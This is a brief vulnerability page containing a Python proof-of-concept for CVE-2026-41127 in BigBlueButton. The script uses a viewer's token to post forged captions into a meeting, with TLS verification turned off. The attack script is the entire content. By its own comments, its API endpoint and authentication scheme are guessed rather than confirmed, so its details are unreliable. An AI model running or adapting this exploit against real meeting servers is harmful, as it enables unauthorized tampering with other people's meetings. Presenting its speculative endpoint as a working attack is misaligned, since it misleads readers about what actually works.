CVE-2026-41127 BigBlueButton授权缺失漏洞

# Proof of Concept for CVE-2026-41127 # This script demonstrates how a viewer might inject captions due to missing authorization. import requests def exploit_caption_injection(target_url, meeting_id, viewer_token): """ Attempts to inject a caption into a BigBlueButton meeting using a viewer token. """ # Hypothetical API endpoint for caption submission based on vulnerability description api_endpoint = f"{target_url}/bigbluebutton/api/caption" headers = { "Content-Type": "application/json", "Authorization": f"Bearer {viewer_token}" # Assuming token-based auth } # Malicious payload to overwrite or inject caption payload = { "meetingID": meeting_id, "captionText": "WARNING: This meeting has been compromised by CVE-2026-41127", "locale": "en" } try: response = requests.post(api_endpoint, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] PoC Successful: Caption injected/overwritten.") print(f"[+] Response: {response.text}") else: print(f"[-] PoC Failed: HTTP {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Replace with actual target details for testing TARGET = "https://vulnerable-bbb-instance.com" MEETING_ID = "abc123def456" TOKEN = "viewer_session_token_here" exploit_caption_injection(TARGET, MEETING_ID, TOKEN)